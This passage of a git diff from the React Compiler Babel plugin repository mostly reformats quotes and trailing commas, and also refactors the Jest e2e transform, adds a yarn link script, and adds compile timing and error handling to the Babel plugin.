     // Hooks have hook invocations or JSX, but can take any # of arguments
@@ -151,11 +151,11 @@ function isHook(path: NodePath<t.Expression | t.PrivateName>): boolean {
   } else if (
     path.isMemberExpression() &&
     !path.node.computed &&
-    isHook(path.get("property"))
+    isHook(path.get('property'))
   ) {
-    const obj = path.get("object").node;
+    const obj = path.get('object').node;
     const isPascalCaseNameSpace = /^[A-Z].*/;
-    return obj.type === "Identifier" && isPascalCaseNameSpace.test(obj.name);
+    return obj.type === 'Identifier' && isPascalCaseNameSpace.test(obj.name);
   } else {
     return false;
   }
@@ -177,8 +177,8 @@ function isComponentName(path: NodePath<t.Expression>): boolean {
 function isForwardRefCallback(path: NodePath<t.Expression>): boolean {
   return !!(
     path.parentPath.isCallExpression() &&
-    path.parentPath.get("callee").isExpression() &&
-    isReactAPI(path.parentPath.get("callee"), "forwardRef")
+    path.parentPath.get('callee').isExpression() &&
+    isReactAPI(path.parentPath.get('callee'), 'forwardRef')
   );
 }
 
@@ -190,22 +190,22 @@ function isForwardRefCallback(path: NodePath<t.Expression>): boolean {
 function isMemoCallback(path: NodePath<t.Expression>): boolean {
   return (
     path.parentPath.isCallExpression() &&
-    path.parentPath.get("callee").isExpression() &&
-    isReactAPI(path.parentPath.get("callee"), "memo")
+    path.parentPath.get('callee').isExpression() &&
+    isReactAPI(path.parentPath.get('callee'), 'memo')
   );
 }
 
 function isReactAPI(
   path: NodePath<t.Expression | t.PrivateName | t.V8IntrinsicIdentifier>,
-  functionName: string
+  functionName: string,
 ): boolean {
   const node = path.node;
   return (
-    (node.type === "Identifier" && node.name === functionName) ||
-    (node.type === "MemberExpression" &&
-      node.object.type === "Identifier" &&
-      node.object.name === "React" &&
-      node.property.type === "Identifier" &&
+    (node.type === 'Identifier' && node.name === functionName) ||
+    (node.type === 'MemberExpression' &&
+      node.object.type === 'Identifier' &&
+      node.object.name === 'React' &&
+      node.property.type === 'Identifier' &&
       node.property.name === functionName)
   );
 }
@@ -218,7 +218,7 @@ function callsHooksOrCreatesJsx(node: NodePath<t.Node>): boolean {
       createsJsx = true;
     },
     CallExpression(call) {
-      const callee = call.get("callee");
+      const callee = call.get('callee');
       if (callee.isExpression() && isHook(callee)) {
         invokesHooks = true;
       }
@@ -239,10 +239,10 @@ function callsHooksOrCreatesJsx(node: NodePath<t.Node>): boolean {
 function getFunctionName(
   path: NodePath<
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
-  >
+  >,
 ): NodePath<t.Expression> | null {
   if (path.isFunctionDeclaration()) {
-    const id = path.get("id");
+    const id = path.get('id');
     if (id.isIdentifier()) {
       return id;
     }
@@ -250,31 +250,31 @@ function getFunctionName(
   }
   let id: NodePath<t.LVal | t.Expression | t.PrivateName> | null = null;
   const parent = path.parentPath;
-  if (parent.isVariableDeclarator() && parent.get("init").node === path.node) {
+  if (parent.isVariableDeclarator() && parent.get('init').node === path.node) {
     // const useHook = () => {};
-    id = parent.get("id");
+    id = parent.get('id');
   } else if (
     parent.isAssignmentExpression() &&
-    parent.get("right").node === path.node &&
-    parent.get("operator") === "="
+    parent.get('right').node === path.node &&
+    parent.get('operator') === '='
   ) {
     // useHook = () => {};
-    id = parent.get("left");
+    id = parent.get('left');
   } else if (
     parent.isProperty() &&
-    parent.get("value").node === path.node &&
-    !parent.get("computed") &&
-    parent.get("key").isLVal()
+    parent.get('value').node === path.node &&
+    !parent.get('computed') &&
+    parent.get('key').isLVal()
   ) {
     /*
      * {useHook: () => {}}
      * {useHook() {}}
      */
-    id = parent.get("key");
+    id = parent.get('key');
   } else if (
     parent.isAssignmentPattern() &&
-    parent.get("right").node === path.node &&
-    !parent.get("computed")
+    parent.get('right').node === path.node &&
+    !parent.get('computed')
   ) {
     /*
      * const {useHook = () => {}} = {};
@@ -283,7 +283,7 @@ function getFunctionName(
      * Kinda clowny, but we'd said we'd follow spec convention for
      * `IsAnonymousFunctionDefinition()` usage.
      */
-    id = parent.get("left");
+    id = parent.get('left');
   }
   if (id !== null && (id.isIdentifier() || id.isMemberExpression())) {
     return id;
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/build-react-hooks-fixures.js b/compiler/packages/babel-plugin-react-compiler/scripts/build-react-hooks-fixures.js
index 84861aca5151..6189b1640e28 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/build-react-hooks-fixures.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/build-react-hooks-fixures.js
@@ -5,27 +5,27 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-"use strict";
+'use strict';
 
-const { tests } = require("./eslint-plugin-react-hooks-test-cases");
+const {tests} = require('./eslint-plugin-react-hooks-test-cases');
 const {
   runBabelPluginReactCompiler,
-} = require("../dist/Babel/RunReactCompilerBabelPlugin");
-const fs = require("fs");
-const path = require("path");
-const prettier = require("prettier");
-const prettierConfigPath = require.resolve("../.prettierrc");
-const process = require("process");
-const { createHash } = require("crypto");
-const { create } = require("domain");
+} = require('../dist/Babel/RunReactCompilerBabelPlugin');
+const fs = require('fs');
+const path = require('path');
+const prettier = require('prettier');
+const prettierConfigPath = require.resolve('../.prettierrc');
+const process = require('process');
+const {createHash} = require('crypto');
+const {create} = require('domain');
 
 const FIXTURES_DIR = path.join(
   process.cwd(),
-  "src",
-  "__tests__",
-  "fixtures",
-  "compiler",
-  "rules-of-hooks"
+  'src',
+  '__tests__',
+  'fixtures',
+  'compiler',
+  'rules-of-hooks'
 );
 
 const PRETTIER_OPTIONS = prettier.resolveConfig.sync(FIXTURES_DIR, {
@@ -34,10 +34,10 @@ const PRETTIER_OPTIONS = prettier.resolveConfig.sync(FIXTURES_DIR, {
 
 const fixtures = [];
 for (const test of tests.valid) {
-  fixtures.push({ code: test.code, valid: true });
+  fixtures.push({code: test.code, valid: true});
 }
 for (const test of tests.invalid) {
-  fixtures.push({ code: test.code, valid: false });
+  fixtures.push({code: test.code, valid: false});
 }
 
 for (const fixture of fixtures) {
@@ -47,8 +47,8 @@ for (const fixture of fixtures) {
     // Does the fixture pass with hooks validation disabled? if not skip it
     runBabelPluginReactCompiler(
       fixture.code,
-      "rules-of-hooks.js",
-      "typescript",
+      'rules-of-hooks.js',
+      'typescript',
       {
         environment: {
           validateHooksUsage: false,
@@ -59,8 +59,8 @@ for (const fixture of fixtures) {
     try {
       runBabelPluginReactCompiler(
         fixture.code,
-        "rules-of-hooks.js",
-        "typescript",
+        'rules-of-hooks.js',
+        'typescript',
         {
           environment: {
             validateHooksUsage: true,
@@ -74,7 +74,7 @@ for (const fixture of fixtures) {
     error = e;
   }
   let code = fixture.code;
-  let prefix = "";
+  let prefix = '';
   if (error !== null) {
     prefix = `todo.bail.`;
     code = `// @skip\n// Unsupported input\n${code}`;
@@ -92,11 +92,11 @@ for (const fixture of fixtures) {
     code = `// @skip\n// Failed but should have passed\n${code}`;
   }
   const formatted = prettier.format(code, PRETTIER_OPTIONS);
-  const hmac = createHash("sha256");
-  hmac.update(formatted, "utf8");
+  const hmac = createHash('sha256');
+  hmac.update(formatted, 'utf8');
   let name = `${prefix}rules-of-hooks-${hmac
-    .digest("hex")
+    .digest('hex')
     .substring(0, 12)}.js`;
   const fixturePath = path.join(FIXTURES_DIR, name);
-  fs.writeFileSync(fixturePath, formatted, "utf8");
+  fs.writeFileSync(fixturePath, formatted, 'utf8');
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/eslint-plugin-react-hooks-test-cases.js b/compiler/packages/babel-plugin-react-compiler/scripts/eslint-plugin-react-hooks-test-cases.js
index d47a1d38b775..132f68883631 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/eslint-plugin-react-hooks-test-cases.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/eslint-plugin-react-hooks-test-cases.js
@@ -5,7 +5,7 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-"use strict";
+'use strict';
 
 // NOTE: Extracted from https://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/__tests__/ESLintRulesOfHooks-test.js
 
@@ -13,9 +13,9 @@
  * A string template tag that removes padding from the left side of multi-line strings
  */
 function normalizeIndent(strings) {
-  const codeLines = strings[0].split("\n");
+  const codeLines = strings[0].split('\n');
   const leftPadding = codeLines[1].match(/\s+/)[0];
-  return codeLines.map((line) => line.slice(leftPadding.length)).join("\n");
+  return codeLines.map(line => line.slice(leftPadding.length)).join('\n');
 }
 
 module.exports.tests = {
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/e2e-classic.config.js b/compiler/packages/babel-plugin-react-compiler/scripts/jest/e2e-classic.config.js
index 65a38113eed3..9cb07c47809d 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/e2e-classic.config.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/jest/e2e-classic.config.js
@@ -5,6 +5,6 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-const makeE2EConfig = require("../jest/makeE2EConfig");
+const makeE2EConfig = require('../jest/makeE2EConfig');
 
-module.exports = makeE2EConfig("e2e no forget", false);
+module.exports = makeE2EConfig('e2e no forget', false);
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/e2e-forget.config.js b/compiler/packages/babel-plugin-react-compiler/scripts/jest/e2e-forget.config.js
index 920e9a1c8412..133266dd696b 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/e2e-forget.config.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/jest/e2e-forget.config.js
@@ -5,9 +5,6 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-const makeE2EConfig = require("../jest/makeE2EConfig");
+const makeE2EConfig = require('../jest/makeE2EConfig');
 
-const config = makeE2EConfig("e2e with forget", true);
-config.setupFilesAfterEnv = ["<rootDir>/../scripts/jest/setupEnvE2E.js"];
-
-module.exports = config;
+module.exports = makeE2EConfig('e2e with forget', true);
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/main.config.js b/compiler/packages/babel-plugin-react-compiler/scripts/jest/main.config.js
index fa4a6a552ef5..75b4e8105e69 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/main.config.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/jest/main.config.js
@@ -6,10 +6,10 @@
  */
 
 module.exports = {
-  displayName: "main",
-  preset: "ts-jest",
-  rootDir: "../../src",
-  testPathIgnorePatterns: ["e2e", "TestDriver", "test-utils", "fixtures"],
+  displayName: 'main',
+  preset: 'ts-jest',
+  rootDir: '../../src',
+  testPathIgnorePatterns: ['e2e', 'TestDriver', 'test-utils', 'fixtures'],
   globals: {
     __DEV__: true,
   },
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeE2EConfig.js b/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeE2EConfig.js
index 2bfe7dc1168a..66b1ba2ea13e 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeE2EConfig.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeE2EConfig.js
@@ -8,27 +8,27 @@
 module.exports = function makeE2EConfig(displayName, useForget) {
   return {
     displayName,
-    testEnvironment: "jsdom",
-    rootDir: "../../src",
-    testMatch: ["**/*.e2e.(js|tsx)"],
+    testEnvironment: 'jsdom',
+    rootDir: '../../src',
+    testMatch: ['**/*.e2e.(js|tsx)'],
     modulePathIgnorePatterns: [
       // ignore snapshots from the opposite forget configuration
-      useForget ? ".*\\.no-forget\\.snap$" : ".*\\.with-forget\\.snap$",
+      useForget ? '.*\\.no-forget\\.snap$' : '.*\\.with-forget\\.snap$',
       // ignore snapshots from the main project
-      ".*\\.ts\\.snap$",
+      '.*\\.ts\\.snap$',
     ],
     globals: {
       __FORGET__: useForget,
     },
     snapshotResolver: useForget
-      ? "<rootDir>/../scripts/jest/snapshot-resolver-with-forget.js"
-      : "<rootDir>/../scripts/jest/snapshot-resolver-no-forget.js",
+      ? '<rootDir>/../scripts/jest/snapshot-resolver-with-forget.js'
+      : '<rootDir>/../scripts/jest/snapshot-resolver-no-forget.js',
 
     transform: {
-      "\\.[tj]sx?$": useForget
-        ? "<rootDir>/../scripts/jest/transform-with-forget"
-        : "<rootDir>/../scripts/jest/transform-no-forget",
+      '\\.[tj]sx?$': useForget
+        ? '<rootDir>/../scripts/jest/transform-with-forget'
+        : '<rootDir>/../scripts/jest/transform-no-forget',
     },
-    transformIgnorePatterns: ["/node_modules/"],
+    transformIgnorePatterns: ['/node_modules/'],
   };
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeSnapshotResolver.js b/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeSnapshotResolver.js
index 850b7207108b..48ac6f21f157 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeSnapshotResolver.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeSnapshotResolver.js
@@ -6,7 +6,7 @@
  */
 
 module.exports = function makeSnapshotResolver(useForget) {
-  const modeExtension = useForget ? ".with-forget" : ".no-forget";
+  const modeExtension = useForget ? '.with-forget' : '.no-forget';
   return {
     resolveSnapshotPath: (testPath, snapshotExtension) =>
       testPath + modeExtension + snapshotExtension,
@@ -17,6 +17,6 @@ module.exports = function makeSnapshotResolver(useForget) {
         -modeExtension.length - snapshotExtension.length
       ),
 
-    testPathForConsistencyCheck: "some/__tests__/example.test.js",
+    testPathForConsistencyCheck: 'some/__tests__/example.test.js',
   };
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeTransform.ts b/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeTransform.ts
index 2f525af9c821..5684005e33d2 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeTransform.ts
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/jest/makeTransform.ts
@@ -5,19 +5,16 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { jsx } from "@babel/plugin-syntax-jsx";
-import babelJest from "babel-jest";
-import { compile } from "babel-plugin-react-compiler";
-import { execSync } from "child_process";
-
-import type { NodePath, Visitor } from "@babel/traverse";
-import type { CallExpression, FunctionDeclaration } from "@babel/types";
-import * as t from "@babel/types";
+import babelJest from 'babel-jest';
 import {
-  EnvironmentConfig,
   validateEnvironmentConfig,
-} from "babel-plugin-react-compiler";
-import { basename } from "path";
+  EnvironmentConfig,
+} from 'babel-plugin-react-compiler';
+import {execSync} from 'child_process';
+
+import type {NodePath, Visitor} from '@babel/traverse';
+import type {CallExpression} from '@babel/types';
+import BabelPluginReactCompiler from 'babel-plugin-react-compiler';
 
 /**
  * -- IMPORTANT --
@@ -29,55 +26,64 @@ const e2eTransformerCacheKey = 1;
 const forgetOptions: EnvironmentConfig = validateEnvironmentConfig({
   enableAssumeHooksFollowRulesOfReact: true,
 });
-const debugMode = process.env["DEBUG_FORGET_COMPILER"] != null;
+const debugMode = process.env['DEBUG_FORGET_COMPILER'] != null;
+
+const compilerCacheKey = execSync(
+  'yarn --silent --cwd ../.. hash packages/babel-plugin-react-compiler/dist',
+)
+  .toString()
+  .trim();
+
+if (debugMode) {
+  console.log('cachebreaker', compilerCacheKey);
+}
 
 module.exports = (useForget: boolean) => {
   function createTransformer() {
     return babelJest.createTransformer({
       passPerPreset: true,
       presets: [
-        "@babel/preset-typescript",
+        '@babel/preset-typescript',
         {
           plugins: [
             useForget
               ? [
-                  ReactForgetFunctionTransform,
+                  BabelPluginReactCompiler,
                   {
+                    environment: forgetOptions,
                     /*
                      * Jest hashes the babel config as a cache breaker.
                      * (see https://github.com/jestjs/jest/blob/v29.6.2/packages/babel-jest/src/index.ts#L84)
                      */
-                    compilerCacheKey: execSync(
-                      "yarn --silent --cwd ../.. hash packages/babel-plugin-react-compiler/dist"
-                    ).toString(),
+                    compilerCacheKey,
                     transformOptionsCacheKey: forgetOptions,
                     e2eTransformerCacheKey,
                   },
                 ]
-              : "@babel/plugin-syntax-jsx",
+              : '@babel/plugin-syntax-jsx',
           ],
         },
-        "@babel/preset-react",
+        '@babel/preset-react',
         {
           plugins: [
             [
-              function BabelPluginRewriteRequirePath(): { visitor: Visitor } {
+              function BabelPluginRewriteRequirePath(): {visitor: Visitor} {
                 return {
                   visitor: {
                     CallExpression(path: NodePath<CallExpression>): void {
-                      const { callee } = path.node;
+                      const {callee} = path.node;
                       if (
-                        callee.type === "Identifier" &&
-                        callee.name === "require"
+                        callee.type === 'Identifier' &&
+                        callee.name === 'require'
                       ) {
                         const arg = path.node.arguments[0];
-                        if (arg.type === "StringLiteral") {
+                        if (arg.type === 'StringLiteral') {
                           /*
                            * The compiler adds requires of "React", which is expected to be a wrapper
                            * around the "react" package. For tests, we just rewrite the require.
                            */
-                          if (arg.value === "React") {
-                            arg.value = "react";
+                          if (arg.value === 'React') {
+                            arg.value = 'react';
                           }
                         }
                       }
@@ -86,7 +92,7 @@ module.exports = (useForget: boolean) => {
                 };
               },
             ],
-            "@babel/plugin-transform-modules-commonjs",
+            '@babel/plugin-transform-modules-commonjs',
           ],
         },
       ],
@@ -104,103 +110,3 @@ module.exports = (useForget: boolean) => {
     createTransformer,
   };
 };
-
-// Mostly copied from react/scripts/babel/transform-forget.js
-function isReactComponentLike(fn: NodePath<FunctionDeclaration>): boolean {
-  let isReactComponent = false;
-  let hasNoUseForgetDirective = false;
-
-  /*
-   * React components start with an upper case letter,
-   * React hooks start with `use`
-   */
-  if (
-    fn.node.id == null ||
-    (fn.node.id.name[0].toUpperCase() !== fn.node.id.name[0] &&
-      !/^use[A-Z0-9]/.test(fn.node.id.name))
-  ) {
-    return false;
-  }
-
-  fn.traverse({
-    DirectiveLiteral(path) {
-      if (path.node.value === "use no forget") {
-        hasNoUseForgetDirective = true;
-      }
-    },
-
-    JSX(path) {
-      // Is there is a JSX node created in the current function context?
-      if (path.scope.getFunctionParent()?.path.node === fn.node) {
-        isReactComponent = true;
-      }
-    },
-
-    CallExpression(path) {
-      // Is there hook usage?
-      if (
-        path.node.callee.type === "Identifier" &&
-        !/^use[A-Z0-9]/.test(path.node.callee.name)
-      ) {
-        isReactComponent = true;
-      }
-    },
-  });
-
-  if (hasNoUseForgetDirective) {
-    return false;
-  }
-
-  return isReactComponent;
-}
-
-function ReactForgetFunctionTransform() {
-  const compiledFns = new Set();
-  const visitor = {
-    FunctionDeclaration(fn: NodePath<FunctionDeclaration>, state: any): void {
-      if (compiledFns.has(fn.node)) {
-        return;
-      }
-
-      if (!isReactComponentLike(fn)) {
-        return;
-      }
-      if (debugMode) {
-        const filename = basename(state.file.opts.filename);
-        if (fn.node.loc && fn.node.id) {
-          console.log(
-            ` Compiling ${filename}:${fn.node.loc.start.line}:${fn.node.loc.start.column}  ${fn.node.id.name}`
-          );
-        } else {
-          console.log(` Compiling ${filename} ${fn.node.id?.name}`);
-        }
-      }
-
-      const compiled = compile(
-        fn,
-        forgetOptions,
-        "Other",
-        "_c",
-        null,
-        null,
-        null
-      );
-      compiledFns.add(compiled);
-
-      const fun = t.functionDeclaration(
-        compiled.id,
-        compiled.params,
-        compiled.body,
-        compiled.generator,
-        compiled.async
-      );
-      fn.replaceWith(fun);
-      fn.skip();
-    },
-  };
-  return {
-    name: "react-forget-e2e",
-    inherits: jsx,
-    visitor,
-  };
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/setupEnvE2E.js b/compiler/packages/babel-plugin-react-compiler/scripts/jest/setupEnvE2E.js
deleted file mode 100644
index 655264d08d3b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/setupEnvE2E.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-const ReactCompilerRuntime = require("react/compiler-runtime");
-
-/*
- * Our e2e babel transform currently only compiles functions, not programs.
- * As a result, our e2e transpiled code does not contain an import for the
- * memo cache function. As a temporary hack, we add a `_c` global, which is
- * the name that is used for the import by default.
- */
-globalThis._c = ReactCompilerRuntime.c;
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/snapshot-resolver-no-forget.js b/compiler/packages/babel-plugin-react-compiler/scripts/jest/snapshot-resolver-no-forget.js
index 649193119af8..66a9216a7c6a 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/snapshot-resolver-no-forget.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/jest/snapshot-resolver-no-forget.js
@@ -5,6 +5,6 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-const makeSnapshotResolver = require("./makeSnapshotResolver");
+const makeSnapshotResolver = require('./makeSnapshotResolver');
 
 module.exports = makeSnapshotResolver(false);
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/snapshot-resolver-with-forget.js b/compiler/packages/babel-plugin-react-compiler/scripts/jest/snapshot-resolver-with-forget.js
index 841986634ed6..d18d9d975261 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/snapshot-resolver-with-forget.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/jest/snapshot-resolver-with-forget.js
@@ -5,6 +5,6 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-const makeSnapshotResolver = require("./makeSnapshotResolver");
+const makeSnapshotResolver = require('./makeSnapshotResolver');
 
 module.exports = makeSnapshotResolver(true);
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/transform-no-forget.js b/compiler/packages/babel-plugin-react-compiler/scripts/jest/transform-no-forget.js
index 9012757fe8ef..3bb00905a6bb 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/transform-no-forget.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/jest/transform-no-forget.js
@@ -5,4 +5,4 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-module.exports = require("./makeTransform")(false);
+module.exports = require('./makeTransform')(false);
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/jest/transform-with-forget.js b/compiler/packages/babel-plugin-react-compiler/scripts/jest/transform-with-forget.js
index 3b09321d6e99..5859e7a9c2e9 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/jest/transform-with-forget.js
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/jest/transform-with-forget.js
@@ -5,4 +5,4 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-module.exports = require("./makeTransform")(true);
+module.exports = require('./makeTransform')(true);
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/link-react-compiler-runtime.sh b/compiler/packages/babel-plugin-react-compiler/scripts/link-react-compiler-runtime.sh
new file mode 100755
index 000000000000..4d1bcf1ec35d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/link-react-compiler-runtime.sh
@@ -0,0 +1,10 @@
+#!/usr/bin/env bash
+# Copyright (c) Meta Platforms, Inc. and affiliates.
+#
+# This source code is licensed under the MIT license found in the
+# LICENSE file in the root directory of this source tree.
+
+set -eo pipefail
+
+yarn --silent workspace react-compiler-runtime link
+yarn --silent workspace babel-plugin-react-compiler link react-compiler-runtime
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Babel/BabelPlugin.ts b/compiler/packages/babel-plugin-react-compiler/src/Babel/BabelPlugin.ts
index 64a5816048dd..6764e12f025c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Babel/BabelPlugin.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Babel/BabelPlugin.ts
@@ -5,12 +5,16 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type * as BabelCore from "@babel/core";
-import { compileProgram, parsePluginOptions } from "../Entrypoint";
+import type * as BabelCore from '@babel/core';
+import {compileProgram, Logger, parsePluginOptions} from '../Entrypoint';
 import {
   injectReanimatedFlag,
   pipelineUsesReanimatedPlugin,
-} from "../Entrypoint/Reanimated";
+} from '../Entrypoint/Reanimated';
+import {CompilerError} from '..';
+
+const ENABLE_REACT_COMPILER_TIMINGS =
+  process.env['ENABLE_REACT_COMPILER_TIMINGS'] === '1';
 
 /*
  * The React Forget Babel Plugin
@@ -18,42 +22,82 @@ import {
  * @returns
  */
 export default function BabelPluginReactCompiler(
-  _babel: typeof BabelCore
+  _babel: typeof BabelCore,
 ): BabelCore.PluginObj {
   return {
-    name: "react-forget",
+    name: 'react-forget',
     visitor: {
       /*
        * Note: Babel does some "smart" merging of visitors across plugins, so even if A is inserted
        * prior to B, if A does not have a Program visitor and B does, B will run first. We always
        * want Forget to run true to source as possible.
        */
-      Program(prog, pass): void {
-        let opts = parsePluginOptions(pass.opts);
-        const isDev =
-          (typeof __DEV__ !== "undefined" && __DEV__ === true) ||
-          process.env["NODE_ENV"] === "development";
-        if (
-          opts.enableReanimatedCheck === true &&
-          pipelineUsesReanimatedPlugin(pass.file.opts.plugins)
-        ) {
-          opts = injectReanimatedFlag(opts);
-        }
-        if (isDev) {
-          opts = {
-            ...opts,
-            environment: {
-              ...opts.environment,
-              enableResetCacheOnSourceFileChanges: true,
-            },
-          };
-        }
-        compileProgram(prog, {
-          opts,
-          filename: pass.filename ?? null,
-          comments: pass.file.ast.comments ?? [],
-          code: pass.file.code,
-        });
+      Program: {
+        enter(prog, pass): void {
+          try {
+            const filename = pass.filename ?? 'unknown';
+            if (ENABLE_REACT_COMPILER_TIMINGS === true) {
+              performance.mark(`${filename}:start`, {
+                detail: 'BabelPlugin:Program:start',
+              });
+            }
+            let opts = parsePluginOptions(pass.opts);
+            const isDev =
+              (typeof __DEV__ !== 'undefined' && __DEV__ === true) ||
+              process.env['NODE_ENV'] === 'development';
+            if (
+              opts.enableReanimatedCheck === true &&
+              pipelineUsesReanimatedPlugin(pass.file.opts.plugins)
+            ) {
+              opts = injectReanimatedFlag(opts);
+            }
+            if (
+              opts.environment.enableResetCacheOnSourceFileChanges !== false &&
+              isDev
+            ) {
+              opts = {
+                ...opts,
+                environment: {
+                  ...opts.environment,
+                  enableResetCacheOnSourceFileChanges: true,
+                },
+              };
+            }
+            compileProgram(prog, {
+              opts,
+              filename: pass.filename ?? null,
+              comments: pass.file.ast.comments ?? [],
+              code: pass.file.code,
+            });
+            if (ENABLE_REACT_COMPILER_TIMINGS === true) {
+              performance.mark(`${filename}:end`, {
+                detail: 'BabelPlugin:Program:end',
+              });
+            }
+          } catch (e) {
+            if (e instanceof CompilerError) {
+              throw e.withPrintedMessage(pass.file.code, {eslint: false});
+            }
+            throw e;
+          }
+        },
+        exit(_, pass): void {
+          if (ENABLE_REACT_COMPILER_TIMINGS === true) {
+            const filename = pass.filename ?? 'unknown';
+            const measurement = performance.measure(filename, {
+              start: `${filename}:start`,
+              end: `${filename}:end`,
+              detail: 'BabelPlugin:Program',
+            });
+            if ('logger' in pass.opts && pass.opts.logger != null) {
+              const logger: Logger = pass.opts.logger as Logger;
+              logger.logEvent(filename, {
+                kind: 'Timing',
+                measurement,
+              });
+            }
+          }
+        },
       },
     },
   };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Babel/RunReactCompilerBabelPlugin.ts b/compiler/packages/babel-plugin-react-compiler/src/Babel/RunReactCompilerBabelPlugin.ts
index 8218cf267bb5..d7960f7e612b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Babel/RunReactCompilerBabelPlugin.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Babel/RunReactCompilerBabelPlugin.ts
@@ -5,25 +5,25 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type * as BabelCore from "@babel/core";
-import { transformFromAstSync } from "@babel/core";
-import * as BabelParser from "@babel/parser";
-import invariant from "invariant";
-import type { PluginOptions } from "../Entrypoint";
-import BabelPluginReactCompiler from "./BabelPlugin";
+import type * as BabelCore from '@babel/core';
+import {transformFromAstSync} from '@babel/core';
+import * as BabelParser from '@babel/parser';
+import invariant from 'invariant';
+import type {PluginOptions} from '../Entrypoint';
+import BabelPluginReactCompiler from './BabelPlugin';
 
-export const DEFAULT_PLUGINS = ["babel-plugin-fbt", "babel-plugin-fbt-runtime"];
+export const DEFAULT_PLUGINS = ['babel-plugin-fbt', 'babel-plugin-fbt-runtime'];
 export function runBabelPluginReactCompiler(
   text: string,
   file: string,
-  language: "flow" | "typescript",
-  options: Partial<PluginOptions> | null,
-  includeAst: boolean = false
+  language: 'flow' | 'typescript',
+  options: PluginOptions | null,
+  includeAst: boolean = false,
 ): BabelCore.BabelFileResult {
   const ast = BabelParser.parse(text, {
     sourceFilename: file,
-    plugins: [language, "jsx"],
-    sourceType: "module",
+    plugins: [language, 'jsx'],
+    sourceType: 'module',
   });
   const result = transformFromAstSync(ast, text, {
     ast: includeAst,
@@ -32,16 +32,16 @@ export function runBabelPluginReactCompiler(
     retainLines: true,
     plugins: [
       [BabelPluginReactCompiler, options],
-      "babel-plugin-fbt",
-      "babel-plugin-fbt-runtime",
+      'babel-plugin-fbt',
+      'babel-plugin-fbt-runtime',
     ],
-    sourceType: "module",
+    sourceType: 'module',
     configFile: false,
     babelrc: false,
   });
   invariant(
     result?.code != null,
-    `Expected BabelPluginReactForget to codegen successfully, got: ${result}`
+    `Expected BabelPluginReactForget to codegen successfully, got: ${result}`,
   );
   return result;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/CompilerError.ts b/compiler/packages/babel-plugin-react-compiler/src/CompilerError.ts
index c6362895cc67..42822384d207 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/CompilerError.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/CompilerError.ts
@@ -5,38 +5,78 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type { SourceLocation } from "./HIR";
-import { assertExhaustive } from "./Utils/utils";
+import * as t from '@babel/types';
+import {codeFrameColumns} from '@babel/code-frame';
+import {type SourceLocation} from './HIR';
+import {Err, Ok, Result} from './Utils/Result';
